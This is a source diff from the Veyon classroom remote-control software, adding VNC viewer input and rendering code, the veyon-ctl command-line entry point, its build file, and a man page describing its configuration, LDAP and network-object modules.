m_viewOnly = viewOnly; + + if( m_viewOnly ) + { + releaseKeyboard(); + m_keyboardShortcutTrapper->setEnabled( false ); + updateLocalCursor(); + } + else + { + grabKeyboard(); + updateLocalCursor(); + m_keyboardShortcutTrapper->setEnabled( true ); + } +} + + + +void VncView::sendShortcut( VncView::Shortcut shortcut ) +{ + if( isViewOnly() ) + { + return; + } + + unpressModifiers(); + + + switch( shortcut ) + { + case ShortcutCtrlAltDel: + pressKey( XK_Control_L ); + pressKey( XK_Alt_L ); + pressKey( XK_Delete ); + unpressKey( XK_Delete ); + unpressKey( XK_Alt_L ); + unpressKey( XK_Control_L ); + break; + case ShortcutCtrlEscape: + pressKey( XK_Control_L ); + pressKey( XK_Escape ); + unpressKey( XK_Escape ); + unpressKey( XK_Control_L ); + break; + case ShortcutAltTab: + pressKey( XK_Alt_L ); + pressKey( XK_Tab ); + unpressKey( XK_Tab ); + unpressKey( XK_Alt_L ); + break; + case ShortcutAltF4: + pressKey( XK_Alt_L ); + pressKey( XK_F4 ); + unpressKey( XK_F4 ); + unpressKey( XK_Alt_L ); + break; + case ShortcutWinTab: + pressKey( XK_Meta_L ); + pressKey( XK_Tab ); + unpressKey( XK_Tab ); + unpressKey( XK_Meta_L ); + break; + case ShortcutWin: + pressKey( XK_Meta_L ); + unpressKey( XK_Meta_L ); + break; + case ShortcutMenu: + pressKey( XK_Menu ); + unpressKey( XK_Menu ); + break; + case ShortcutAltCtrlF1: + pressKey( XK_Control_L ); + pressKey( XK_Alt_L ); + pressKey( XK_F1 ); + unpressKey( XK_F1 ); + unpressKey( XK_Alt_L ); + unpressKey( XK_Control_L ); + break; + default: + qWarning( "VncView::sendShortcut(): unknown shortcut %d", static_cast( shortcut ) ); + break; + } +} + + + +void VncView::handleShortcut( KeyboardShortcutTrapper::Shortcut shortcut ) +{ + unsigned int key = 0; + + switch( shortcut ) + { + case KeyboardShortcutTrapper::SuperKeyDown: + m_mods[XK_Super_L] = true; + break; + case KeyboardShortcutTrapper::SuperKeyUp: + m_mods.remove( XK_Super_L ); + break; + case KeyboardShortcutTrapper::AltTab: key = XK_Tab; break; + case KeyboardShortcutTrapper::AltEsc: key = XK_Escape; break; + case KeyboardShortcutTrapper::AltSpace: key = XK_KP_Space; break; + case KeyboardShortcutTrapper::AltF4: key = XK_F4; break; + case KeyboardShortcutTrapper::CtrlEsc: key = XK_Escape; break; + default: + break; + } + + if( key ) + { + m_vncConn->keyEvent( key, true ); + m_vncConn->keyEvent( key, false ); + } +} + + + +void VncView::updateCursorPos( int x, int y ) +{ + if( isViewOnly() ) + { + if( !m_cursorShape.isNull() ) + { + update( m_cursorX, m_cursorY, + m_cursorShape.width(), m_cursorShape.height() ); + } + m_cursorX = x; + m_cursorY = y; + if( !m_cursorShape.isNull() ) + { + update( m_cursorX, m_cursorY, + m_cursorShape.width(), m_cursorShape.height() ); + } + } +} + + + +void VncView::updateCursorShape( const QPixmap& cursorShape, int xh, int yh ) +{ + const auto scale = scaleFactor(); + + m_cursorHotX = static_cast( xh*scale ); + m_cursorHotY = static_cast( yh*scale ); + m_cursorShape = cursorShape.scaled( static_cast( cursorShape.width()*scale ), + static_cast( cursorShape.height()*scale ), + Qt::IgnoreAspectRatio, Qt::SmoothTransformation ); + + if( isViewOnly() ) + { + update( m_cursorX, m_cursorY, m_cursorShape.width(), m_cursorShape.height() ); + } + + updateLocalCursor(); +} + + + +void VncView::focusInEvent( QFocusEvent* event ) +{ + if( !m_viewOnlyFocus ) + { + setViewOnly( false ); + } + QWidget::focusInEvent( event ); +} + + + +void VncView::focusOutEvent( QFocusEvent* event ) +{ + m_viewOnlyFocus = isViewOnly(); + if( !isViewOnly() ) + { + setViewOnly( true ); + } + QWidget::focusOutEvent( event ); +} + + + +// our builtin keyboard-handler +void VncView::keyEventHandler( QKeyEvent* event ) +{ + bool pressed = event->type() == QEvent::KeyPress; + +#ifdef Q_OS_LINUX + // on Linux/X11 native key codes are equal to the ones used by RFB protocol + unsigned int key = event->nativeVirtualKey(); + + // we do not handle Key_Backtab separately as the Shift-modifier + // is already enabled + if( event->key() == Qt::Key_Backtab ) + { + key = XK_Tab; + } + +#else + // hmm, either Win32-platform or too old Qt so we have to handle and + // translate Qt-key-codes to X-keycodes + unsigned int key = 0; + switch( event->key() ) + { + // modifiers are handled separately + case Qt::Key_Shift: key = XK_Shift_L; break; + case Qt::Key_Control: key = XK_Control_L; break; + case Qt::Key_Meta: key = XK_Meta_L; break; + case Qt::Key_Alt: key = XK_Alt_L; break; + case Qt::Key_Escape: key = XK_Escape; break; + case Qt::Key_Tab: key = XK_Tab; break; + case Qt::Key_Backtab: key = XK_Tab; break; + case Qt::Key_Backspace: key = XK_BackSpace; break; + case Qt::Key_Return: key = XK_Return; break; + case Qt::Key_Insert: key = XK_Insert; break; + case Qt::Key_Delete: key = XK_Delete; break; + case Qt::Key_Pause: key = XK_Pause; break; + case Qt::Key_Print: key = XK_Print; break; + case Qt::Key_Home: key = XK_Home; break; + case Qt::Key_End: key = XK_End; break; + case Qt::Key_Left: key = XK_Left; break; + case Qt::Key_Up: key = XK_Up; break; + case Qt::Key_Right: key = XK_Right; break; + case Qt::Key_Down: key = XK_Down; break; + case Qt::Key_PageUp: key = XK_Prior; break; + case Qt::Key_PageDown: key = XK_Next; break; + case Qt::Key_CapsLock: key = XK_Caps_Lock; break; + case Qt::Key_NumLock: key = XK_Num_Lock; break; + case Qt::Key_ScrollLock: key = XK_Scroll_Lock; break; + case Qt::Key_Super_L: key = XK_Super_L; break; + case Qt::Key_Super_R: key = XK_Super_R; break; + case Qt::Key_Menu: key = XK_Menu; break; + case Qt::Key_Hyper_L: key = XK_Hyper_L; break; + case Qt::Key_Hyper_R: key = XK_Hyper_R; break; + case Qt::Key_Help: key = XK_Help; break; + case Qt::Key_AltGr: key = XK_ISO_Level3_Shift; break; + case Qt::Key_Multi_key: key = XK_Multi_key; break; + case Qt::Key_SingleCandidate: key = XK_SingleCandidate; break; + case Qt::Key_MultipleCandidate: key = XK_MultipleCandidate; break; + case Qt::Key_PreviousCandidate: key = XK_PreviousCandidate; break; + case Qt::Key_Mode_switch: key = XK_Mode_switch; break; + case Qt::Key_Kanji: key = XK_Kanji; break; + case Qt::Key_Muhenkan: key = XK_Muhenkan; break; + case Qt::Key_Henkan: key = XK_Henkan; break; + case Qt::Key_Romaji: key = XK_Romaji; break; + case Qt::Key_Hiragana: key = XK_Hiragana; break; + case Qt::Key_Katakana: key = XK_Katakana; break; + case Qt::Key_Hiragana_Katakana: key = XK_Hiragana_Katakana; break; + case Qt::Key_Zenkaku: key = XK_Zenkaku; break; + case Qt::Key_Hankaku: key = XK_Hankaku; break; + case Qt::Key_Zenkaku_Hankaku: key = XK_Zenkaku_Hankaku; break; + case Qt::Key_Touroku: key = XK_Touroku; break; + case Qt::Key_Massyo: key = XK_Massyo; break; + case Qt::Key_Kana_Lock: key = XK_Kana_Lock; break; + case Qt::Key_Kana_Shift: key = XK_Kana_Shift; break; + case Qt::Key_Eisu_Shift: key = XK_Eisu_Shift; break; + case Qt::Key_Eisu_toggle: key = XK_Eisu_toggle; break; + case Qt::Key_Hangul: key = XK_Hangul; break; + case Qt::Key_Hangul_Start: key = XK_Hangul_Start; break; + case Qt::Key_Hangul_End: key = XK_Hangul_End; break; + case Qt::Key_Hangul_Hanja: key = XK_Hangul_Hanja; break; + case Qt::Key_Hangul_Jamo: key = XK_Hangul_Jamo; break; + case Qt::Key_Hangul_Romaja: key = XK_Hangul_Romaja; break; + case Qt::Key_Hangul_Jeonja: key = XK_Hangul_Jeonja; break; + case Qt::Key_Hangul_Banja: key = XK_Hangul_Banja; break; + case Qt::Key_Hangul_PreHanja: key = XK_Hangul_PreHanja; break; + case Qt::Key_Hangul_PostHanja: key = XK_Hangul_PostHanja; break; + case Qt::Key_Hangul_Special: key = XK_Hangul_Special; break; + case Qt::Key_Dead_Grave: key = XK_dead_grave; break; + case Qt::Key_Dead_Acute: key = XK_dead_acute; break; + case Qt::Key_Dead_Circumflex: key = XK_dead_circumflex; break; + case Qt::Key_Dead_Tilde: key = XK_dead_tilde; break; + case Qt::Key_Dead_Macron: key = XK_dead_macron; break; + case Qt::Key_Dead_Breve: key = XK_dead_breve; break; + case Qt::Key_Dead_Abovedot: key = XK_dead_abovedot; break; + case Qt::Key_Dead_Diaeresis: key = XK_dead_diaeresis; break; + case Qt::Key_Dead_Abovering: key = XK_dead_abovering; break; + case Qt::Key_Dead_Doubleacute: key = XK_dead_doubleacute; break; + case Qt::Key_Dead_Caron: key = XK_dead_caron; break; + case Qt::Key_Dead_Cedilla: key = XK_dead_cedilla; break; + case Qt::Key_Dead_Ogonek: key = XK_dead_ogonek; break; + case Qt::Key_Dead_Iota: key = XK_dead_iota; break; + case Qt::Key_Dead_Voiced_Sound: key = XK_dead_voiced_sound; break; + case Qt::Key_Dead_Semivoiced_Sound: key = XK_dead_semivoiced_sound; break; + case Qt::Key_Dead_Belowdot: key = XK_dead_belowdot; break; + } + + if( event->key() >= Qt::Key_F1 && event->key() <= Qt::Key_F35 ) + { + key = XK_F1 + event->key() - Qt::Key_F1; + } + else if( key == 0 ) + { + if( m_mods.contains( XK_Control_L ) && + QKeySequence( event->key() ).toString().length() == 1 ) + { + QString s = QKeySequence( event->key() ).toString(); + if( !m_mods.contains( XK_Shift_L ) ) + { + s = s.toLower(); + } + key = s.utf16()[0]; + } + else + { + key = event->text().utf16()[0]; + } + } + // correct translation of AltGr+ (non-US-keyboard layout + // such as German keyboard layout) + if( m_mods.contains( XK_Alt_L ) && m_mods.contains( XK_Control_L ) && + key >= 64 && key < 0xF000 ) + { + unpressModifiers(); + m_vncConn->keyEvent( XK_ISO_Level3_Shift, true ); + } +#endif + + // handle Ctrl+Alt+Del replacement (Meta/Super key+Del) + if( ( m_mods.contains( XK_Super_L ) || + m_mods.contains( XK_Super_R ) || + m_mods.contains( XK_Meta_L ) ) && + event->key() == Qt::Key_Delete ) + { + if( pressed ) + { + unpressModifiers(); + m_vncConn->keyEvent( XK_Control_L, true ); + m_vncConn->keyEvent( XK_Alt_L, true ); + m_vncConn->keyEvent( XK_Delete, true ); + m_vncConn->keyEvent( XK_Delete, false ); + m_vncConn->keyEvent( XK_Alt_L, false ); + m_vncConn->keyEvent( XK_Control_L, false ); + key = 0; + } + } + + // handle modifiers + if( key == XK_Shift_L || key == XK_Control_L || key == XK_Meta_L || + key == XK_Alt_L || key == XK_Super_L || key == XK_Super_R ) + { + if( pressed ) + { + m_mods[key] = true; + } + else if( m_mods.contains( key ) ) + { + m_mods.remove( key ); + } + else + { + unpressModifiers(); + } + } + + if( key ) + { + // forward key event to the VNC connection + m_vncConn->keyEvent( key, pressed ); + + // signal key event - used by RemoteControlWidget to close itself + // when pressing Esc + emit keyEvent( key, pressed ); + + // inform Qt that we handled the key event + event->accept(); + } +} + + + + +void VncView::unpressModifiers() +{ + const auto keys = m_mods.keys(); + for( auto key : keys ) + { + m_vncConn->keyEvent( key, false ); + } + m_mods.clear(); +} + + + +bool VncView::isScaledView() const +{ + return width() < m_framebufferSize.width() || + height() < m_framebufferSize.height(); +} + + + +qreal VncView::scaleFactor() const +{ + if( isScaledView() ) + { + return static_cast( scaledSize().width() ) / m_framebufferSize.width(); + } + + return 1; +} + + + +QPoint VncView::mapToFramebuffer( QPoint pos ) +{ + if( m_framebufferSize.isEmpty() ) + { + return QPoint( 0, 0 ); + } + + return QPoint( pos.x() * m_framebufferSize.width() / scaledSize().width(), + pos.y() * m_framebufferSize.height() / scaledSize().height() ); +} + + + +QRect VncView::mapFromFramebuffer( QRect r ) +{ + if( m_framebufferSize.isEmpty() ) + { + return QRect(); + } + + const auto dx = scaledSize().width() / static_cast( m_framebufferSize.width() ); + const auto dy = scaledSize().height() / static_cast( m_framebufferSize.height() ); + + return( QRect( static_cast(r.x()*dx), static_cast(r.y()*dy), + static_cast(r.width()*dx), static_cast(r.height()*dy) ) ); +} + + + +void VncView::updateLocalCursor() +{ + if( isViewOnly() ) + { + setCursor( Qt::ArrowCursor ); + } + else if( m_cursorShape.isNull() == false ) + { + setCursor( QCursor( m_cursorShape, m_cursorHotX, m_cursorHotY ) ); + } + else + { + setCursor( Qt::BlankCursor ); + } +} + + + +void VncView::pressKey( unsigned int key ) +{ + m_vncConn->keyEvent( key, true ); +} + + + +void VncView::unpressKey( unsigned int key ) +{ + m_vncConn->keyEvent( key, false ); +} + + + +bool VncView::event( QEvent * event ) +{ + switch( event->type() ) + { + case QEvent::KeyPress: + case QEvent::KeyRelease: + keyEventHandler( static_cast( event ) ); + return true; + case QEvent::MouseButtonDblClick: + case QEvent::MouseButtonPress: + case QEvent::MouseButtonRelease: + case QEvent::MouseMove: + mouseEventHandler( static_cast( event ) ); + return true; + case QEvent::Wheel: + wheelEventHandler( static_cast( event ) ); + return true; + default: + return QWidget::event(event); + } +} + + + +void VncView::paintEvent( QPaintEvent* paintEvent ) +{ + QPainter p( this ); + p.setRenderHint( QPainter::SmoothPixmapTransform ); + + const auto& image = m_vncConn->image(); + + if( image.isNull() || image.format() == QImage::Format_Invalid ) + { + p.fillRect( paintEvent->rect(), Qt::black ); + return; + } + + if( isScaledView() ) + { + // repaint everything in scaled mode to avoid artifacts at rectangle boundaries + p.drawImage( QRect( QPoint( 0, 0 ), scaledSize() ), image ); + } + else + { + p.drawImage( 0, 0, image ); + } + + if( isViewOnly() && !m_cursorShape.isNull() ) + { + const QRect cursorRect = mapFromFramebuffer( + QRect( QPoint( m_cursorX - m_cursorHotX, + m_cursorY - m_cursorHotY ), + m_cursorShape.size() ) ); + // parts of cursor within updated region? + if( paintEvent->region().intersects( cursorRect ) ) + { + // then repaint it + p.drawPixmap( cursorRect.topLeft(), m_cursorShape ); + } + } + + // draw black borders if neccessary + const int screenWidth = scaledSize().width(); + if( screenWidth < width() ) + { + p.fillRect( screenWidth, 0, width() - screenWidth, height(), Qt::black ); + } + + const int screenHeight = scaledSize().height(); + if( screenHeight < height() ) + { + p.fillRect( 0, screenHeight, width(), height() - screenHeight, Qt::black ); + } +} + + + +void VncView::resizeEvent( QResizeEvent* event ) +{ + update(); + + if( m_establishingConnectionWidget ) + { + m_establishingConnectionWidget->move( 10, 10 ); + } + + updateLocalCursor(); + + QWidget::resizeEvent( event ); +} + + + +void VncView::wheelEventHandler( QWheelEvent* event ) +{ + const QPoint p = mapToFramebuffer( event->pos() ); + m_vncConn->mouseEvent( p.x(), p.y(), m_buttonMask | ( ( event->delta() < 0 ) ? rfbButton5Mask : rfbButton4Mask ) ); + m_vncConn->mouseEvent( p.x(), p.y(), m_buttonMask ); +} + + + +void VncView::mouseEventHandler( QMouseEvent* event ) +{ + struct buttonXlate + { + Qt::MouseButton qt; + int rfb; + } const map[] = + { + { Qt::LeftButton, rfbButton1Mask }, + { Qt::MidButton, rfbButton2Mask }, + { Qt::RightButton, rfbButton3Mask } + } ; + + if( event->type() != QEvent::MouseMove ) + { + for( auto i : map ) + { + if( event->button() == i.qt ) + { + if( event->type() == QEvent::MouseButtonPress || + event->type() == QEvent::MouseButtonDblClick ) + { + m_buttonMask |= i.rfb; + } + else + { + m_buttonMask &= ~i.rfb; + } + } + } + } + else + { + if( event->pos().y() == 0 ) + { + if( m_mouseBorderSignalTimer.isActive() == false ) + { + m_mouseBorderSignalTimer.start(); + } + } + else + { + m_mouseBorderSignalTimer.stop(); + } + } + + if( !m_viewOnly ) + { + const QPoint p = mapToFramebuffer( event->pos() ); + m_vncConn->mouseEvent( p.x(), p.y(), m_buttonMask ); + } +} + + + +void VncView::updateImage( int x, int y, int w, int h ) +{ + if( m_initDone == false ) + { + setAttribute( Qt::WA_OpaquePaintEvent ); + installEventFilter( this ); + + setMouseTracking( true ); // get mouse events even when there is no mousebutton pressed + setFocusPolicy( Qt::WheelFocus ); + + resize( sizeHint() ); + + emit connectionEstablished(); + m_initDone = true; + + } + + const auto scale = scaleFactor(); + + update( qMax( 0, qFloor( x*scale - 1 ) ), qMax( 0, qFloor( y*scale - 1 ) ), + qCeil( w*scale + 2 ), qCeil( h*scale + 2 ) ); +} + + + +void VncView::updateFramebufferSize( int w, int h ) +{ + m_framebufferSize = QSize( w, h ); + + resize( w, h ); + + emit sizeHintChanged(); +} + + + +void VncView::updateConnectionState() +{ + if( m_establishingConnectionWidget ) + { + m_establishingConnectionWidget->setVisible( m_vncConn->state() != VncConnection::Connected ); + } +} diff --git a/ctl/CMakeLists.txt b/ctl/CMakeLists.txt new file mode 100644 index 0000000..718ccf9 --- /dev/null +++ b/ctl/CMakeLists.txt @@ -0,0 +1,16 @@ +INCLUDE(WindowsBuildHelpers) + +FILE(GLOB ctl_INCLUDES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.h) +FILE(GLOB ctl_SOURCES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.cpp) + +QT5_WRAP_CPP(ctl_MOC_out ${ctl_INCLUDES}) + +INCLUDE_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/src) +ADD_EXECUTABLE(veyon-ctl ${ctl_UIC_out} ${ctl_SOURCES} ${ctl_INCLUDES} ${ctl_MOC_out}) +TARGET_LINK_LIBRARIES(veyon-ctl veyon-core Qt5::Network) + +ADD_WINDOWS_RESOURCE(veyon-ctl ${CMAKE_CURRENT_BINARY_DIR}/veyon-ctl.rc) +MAKE_CONSOLE_APP(veyon-ctl) + +INSTALL(TARGETS veyon-ctl RUNTIME DESTINATION bin) + diff --git a/ctl/src/main.cpp b/ctl/src/main.cpp new file mode 100644 index 0000000..5c2a677 --- /dev/null +++ b/ctl/src/main.cpp @@ -0,0 +1,198 @@ +/* + * main.cpp - main file for Veyon Control + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include + +#include "CommandLinePluginInterface.h" +#include "Logger.h" +#include "PluginManager.h" + + +int main( int argc, char **argv ) +{ + QCoreApplication* app = nullptr; + +#ifdef Q_OS_LINUX + // do not create graphical application if DISPLAY is not available + if( qEnvironmentVariableIsSet( "DISPLAY" ) == false ) + { + app = new QCoreApplication( argc, argv ); + } + else + { + app = new QApplication( argc, argv ); + } +#else + app = new QApplication( argc, argv ); +#endif + + const auto arguments = app->arguments(); + + if( arguments.count() == 2 ) + { + if( arguments.last() == QStringLiteral("-v") || arguments.last() == QStringLiteral("--version") ) + { + printf( "%s\n", qUtf8Printable( VeyonCore::version() ) ); + delete app; + return 0; + } + else if( arguments.last() == QStringLiteral("about") ) + { + printf( "Veyon: %s (%s)\n", qUtf8Printable( VeyonCore::version() ), __DATE__ ); + printf( "Qt: %s (built against %s/%s)\n", qVersion(), QT_VERSION_STR, qUtf8Printable( QSysInfo::buildAbi() ) ); + printf( "OpenSSL: %s\n", SSLeay_version(SSLEAY_VERSION) ); + delete app; + return 0; + } + } + + // disable logging at all in order to avoid clobbering + if( qEnvironmentVariableIsEmpty( Logger::logLevelEnvironmentVariable() ) ) + { + qputenv( Logger::logLevelEnvironmentVariable(), QByteArray::number( Logger::LogLevelNothing ) ); + } + + VeyonCore* core = new VeyonCore( app, QStringLiteral("Control") ); + + QHash commandLinePluginInterfaces; + const auto pluginObjects = core->pluginManager().pluginObjects(); + for( auto pluginObject : pluginObjects ) + { + auto commandLinePluginInterface = qobject_cast( pluginObject ); + if( commandLinePluginInterface ) + { + commandLinePluginInterfaces[commandLinePluginInterface] = pluginObject; + } + } + + const auto module = arguments.value( 1 ); + + for( auto it = commandLinePluginInterfaces.constBegin(), end = commandLinePluginInterfaces.constEnd(); it != end; ++it ) + { + if( it.key()->commandLineModuleName() == module ) + { + auto runResult = CommandLinePluginInterface::Unknown; + + if( arguments.count() > 2 ) + { + const auto handler = QStringLiteral( "handle_%1(QStringList)" ).arg( arguments[2] ); + if( it.value()->metaObject()->indexOfMethod( handler.toUtf8().constData() ) >= 0 ) + { + QMetaObject::invokeMethod( it.value(), + QStringLiteral( "handle_%1" ).arg( arguments[2] ).toUtf8().constData(), + Qt::DirectConnection, + Q_RETURN_ARG(CommandLinePluginInterface::RunResult, runResult), + Q_ARG( QStringList, arguments.mid( 3 ) ) ); + } + else if( arguments[2] != QStringLiteral("help") ) + { + runResult = CommandLinePluginInterface::InvalidCommand; + } + } + else if( it.value()->metaObject()->indexOfMethod("handle_main()") >= 0 ) + { + QMetaObject::invokeMethod( it.value(), + "handle_main", + Qt::DirectConnection, + Q_RETURN_ARG(CommandLinePluginInterface::RunResult, runResult) ); + } + else + { + runResult = CommandLinePluginInterface::NotEnoughArguments; + } + + delete core; + + switch( runResult ) + { + case CommandLinePluginInterface::NoResult: + return 0; + case CommandLinePluginInterface::Successful: + qInfo( "%s", qUtf8Printable( VeyonCore::tr( "[OK]" ) ) ); + return 0; + case CommandLinePluginInterface::Failed: + qInfo( "%s", qUtf8Printable( VeyonCore::tr( "[FAIL]" ) ) ); + return -1; + case CommandLinePluginInterface::InvalidCommand: + qCritical( "%s", qUtf8Printable( VeyonCore::tr( "Invalid command!" ) ) ); + break; + case CommandLinePluginInterface::InvalidArguments: + qCritical( "%s", qUtf8Printable( VeyonCore::tr( "Invalid arguments given" ) ) ); + return -1; + case CommandLinePluginInterface::NotEnoughArguments: + qCritical( "%s", qUtf8Printable( + VeyonCore::tr( "Not enough arguments given - " + "use \"%1 help\" for more information" ).arg( module ) ) ); + return -1; + case CommandLinePluginInterface::Unknown: + break; + default: + qCritical( "%s", qUtf8Printable( VeyonCore::tr( "Unknown result!" ) ) ); + return -1; + } + + auto commands = it.key()->commands(); + std::sort( commands.begin(), commands.end() ); + + qInfo( "%s", qUtf8Printable( VeyonCore::tr( "Available commands:" ) ) ); + for( const auto& command : commands ) + { + qInfo( " %s - %s", + qUtf8Printable( command ), + qUtf8Printable( it.key()->commandHelp( command ) ) ); + } + return -1; + } + } + + delete core; + + int rc = -1; + + if( module == QStringLiteral("help") ) + { + qCritical( "%s", qUtf8Printable( VeyonCore::tr( "Available modules:" ) ) ); + rc = 0; + } + else + { + qCritical( "%s", qUtf8Printable( VeyonCore::tr( "No module specified or module not found - available modules are:" ) ) ); + } + + QStringList modulesHelpStrings; + for( auto it = commandLinePluginInterfaces.constBegin(), end = commandLinePluginInterfaces.constEnd(); it != end; ++it ) + { + modulesHelpStrings.append( QStringLiteral( "%1 - %2" ).arg( it.key()->commandLineModuleName(), + it.key()->commandLineModuleHelp() ) ); + } + + std::sort( modulesHelpStrings.begin(), modulesHelpStrings.end() ); + std::for_each( modulesHelpStrings.begin(), modulesHelpStrings.end(), [](const QString& s) { qCritical( " %s", qUtf8Printable( s ) ); } ); + + delete app; + + return rc; +} diff --git a/ctl/veyon-ctl.1 b/ctl/veyon-ctl.1 new file mode 100644 index 0000000..247eb3b --- /dev/null +++ b/ctl/veyon-ctl.1 @@ -0,0 +1,371 @@ +.TH VEYON-CTL 1 2018-12-07 Veyon +.SH NAME +veyon-ctl \- Veyon Command Line Interface +.SH SYNOPSIS +\fBveyon-ctl\fP \fIhelp\fR + +\fBveyon-ctl\fP \fI\fR \fIhelp\fR + +\fBveyon-ctl\fP \fI\fR \fIhelp\fR \fI\fR + +\fBveyon-ctl\fP \fI\fR \fI\fR [\fIparameters\fP] + +.SH DESCRIPTION + +\fBVEYON-CTL\fR is a command line tool that in addition to the Veyon +Configurator allows various configuration adjustments, automated tasks +and the use of some Veyon functions without graphical interaction. The +program is run either interactively on the command line or script +controlled with usually elevated privileges. + +For administrative tasks, the Veyon Configurator and the command line +tool Veyon Control are available. Veyon Control can be started via the +command \fBveyon-ctl\fR in the command line. If the Veyon installation +directory is not in the $PATH environment variable, you must first change +to the installation directory or prepend the directory to the program +name. + +Veyon Control falls into various control modules. For each module a +set of commands is available. + +Available modules are: + +.TP +\fIauthkeys\fR +Commands for managing authentication keys + +.TP +\fIconfig\fR +Commands for managing the configuration of Veyon + +.TP +\fIldap\fR +Commands for configuring and testing LDAP/AD integration + +.TP +\fInetworkobjects\fR +Commands for managing the builtin network object directory + +.TP +\fIremoteaccess\fR +Remote view or control a computer + +.TP +\fIservice\fR +Commands for configuring and controlling Veyon Service + +.TP +\fIshell\fR +Commands for shell functionalities + +If the \fBveyon-ctl\fR command is called with the \fIhelp\fR parameter, a +list of all available modules is displayed. The list can vary depending +on the installed Veyon plugins. + +Each module supports the \fIhelp\fR command, so that a list of all available +commands can be displayed for each module. + +.SH AUTHKEYS MODULE + +The authkeys module allows the management of authentication keys so that +common operations such as importing an authentication key or assigning a +user group can be easily automated. + +.TP +\fIcreate \fR +This command creates a new pair of authentication keys and stores the +private and public keys in the configured key directory. The parameter +must be a name for the key, which may only contain letters. + +.TP +\fIdelete \fR +This command deletes the authentication key from the configured key +directory. Please note that a key cannot be recovered once it has been +deleted. + +.TP +\fIexport []\fR +This command exports the to authentication key. If is +not specified, the file name is derived from the name and type of . +.TP +\fIextract \fR +This command extracts the public key part from the private key and +saves it as the associated public key. When setting up another master +computer, it is therefore sufficient to transfer the private key. The +public key can then be extracted. +.TP +\fIimport []\fR +This command imports the authentication key from . If +is not specified, the file name is derived from the name and type of +. +.TP +\fIlist [details]\fR +This command lists all available authentication keys in the configured +key directory. If the details option is specified, a table with key +details is output instead. Some details may be missing if a key cannot be +accessed, e.g. due to missing read permissions. +.TP +\fIsetaccessgroup \fR +This command adjusts the file access permissions on the so that +only the user group has read access to it. + +.SH CONFIG MODULE + +Available commands for the config module are: + +.TP +.I clear +Clear system-wide Veyon configuration. This command resets the entire +local configuration by deleting all configuration keys. Use this command +to recreate a defined state before importing another configuration: + + \fBveyon-ctl\fR config clear + +.TP +.I export +Export configuration to given file.This command exports the local +configuration to a file. The name of the destination file must be +specified as an additional parameter: + + \fBveyon-ctl\fR config export myconfig.json + +.TP +.I get +Read and output configuration value for given key. This command allows +reading a single configuration key. The name of the key must be supplied +as a parameter. + + \fBveyon-ctl\fR config get Network/PrimaryServicePort + +.TP +.I import +Import configuration from given file. This command imports a previously +exported configuration file into the local configuration. The name of the +configuration file to be imported must be specified as an additional +argument: + + \fBveyon-ctl\fR config import myconfig.json + +.TP +.I list +List all configuration keys and values. This command shows a list of all +configuration keys and their corresponding values. + + \fBveyon-ctl\fR config list + +Using this command you can find the names of configuration keys in order +to get oder set them one by one. + +.TP +.I set +Write given value to given configuration key. With this command a single +configuration key can be written. The name of the key and the desired +value must be passed as additional arguments: + + \fBveyon-ctl\fR config set Network/PrimaryServicePort 12345 + + \fBveyon-ctl\fR config set Service/Autostart true + + \fBveyon-ctl\fR config set UI/Language de_DE + +.TP +.I unset +Unset (remove) given configuration key. This command deletes a single +configuration key resulting in Veyon using the internal index:`default +value for this key. The name of the key must be passed as an additional +argument: + + \fBveyon-ctl\fR config unset Directories/Screenshots + +.TP +.I upgrade +Upgrade and save configuration of program and plugins. With this command +the configuration of Veyon and all plugins can be updated and saved. This +may be necessary if settings or configuration formats have changed due to +program or plugin updates. + +.SH LDAP MODULE +There are several LDAP specific operations provided through Veyon Control +All operations are provided through the LDAP module. All lists of all +supported commands is printed on entering + + \fBveyon-ctl\fR ldap help + +whereas command specific help texts can be shown via + + \fBveyon-ctl\fR ldap help + +The available commands are: + +.TP +.I autoconfigurebasedn +This command can be used to automatically determine the used Base DN and +permanently write it to the configuration. An LDAP server URL and +optionally a naming context attribute have to be supplied as parameters: + + \fBveyon-ctl\fR ldap autoconfigurebasedn ldap://192.168.1.2/ namingContexts + + \fBveyon-ctl\fR ldap autoconfigurebasedn ldap://Administrator:MYPASSWORD@192.168.1.2:389/ + +.TP +.I query +This command allows querying LDAP objects (rooms, computers, groups, +users) and is designed mainly for debugging purposes. However, the +function can also be used for developing scripts that may be helpful for +system integration. + + \fBveyon-ctl\fR ldap query users + + \fBveyon-ctl\fR ldap query computers + +.SH NETWORKOBJECTS MODULE + +Veyon provides a built-in network object directory that can be used when +no LDAP server is available. This network object directory can be managed +in the Veyon Configurator as well as on the command line. Certain +operations such as CSV import are currently only available on the command +line. For most commands, a detailed description with examples is +available in the command-specific help. The following commands can be +used in the NETWORKOBJECTS module: + + +.TP +.I add [ ] +This command adds an object, where can be room or computer. + can be specified as name or UUID. + +.TP +.I clear +This command resets the entire network object directory, i.e. all rooms +and computers are removed. This operation is particularly useful before +any automated import. + +.TP +.I dump +This command outputs the complete network object directory as a flat +table. Each property such as object UID, type or name is displayed as a +separate column. + +.TP +.I export [room ] [format ] +This command can be used to export either the complete network object +dictionary or only the specified room to a text file. The formatting can +be controlled via a format string and the variables it contains, so that, +for example, a CSV file can be generated. Valid variables are %type%, +%name%, %host%, %mac% and %room%. Various examples are given in the +command help (\fBveyon-ctl\fR networkobjects help export). + +.TP +.I import [room < SPACE>] [format ] [regex ] +This command can be used to import a text file into the network object +directory. The processing of the input data can be controlled via a +format string or a regular expression and contained variables. This way +both CSV files and otherwise structured data can be imported. Valid +variables are %name%, %host%, %mac% and %room%. Various examples are +given in the command help (\fBveyon-ctl\fR networkobjects help import). + +.TP +.I list +This command prints the complete network object directory as a formatted +list. Unlike the dump command, the hierarchy of rooms and computers is +represented by appropriate formatting. + +.TP +.I remove +This command removes the specified object from the directory. +can be specified as name or UUID. When a room is removed, all computers +in it are also removed. + 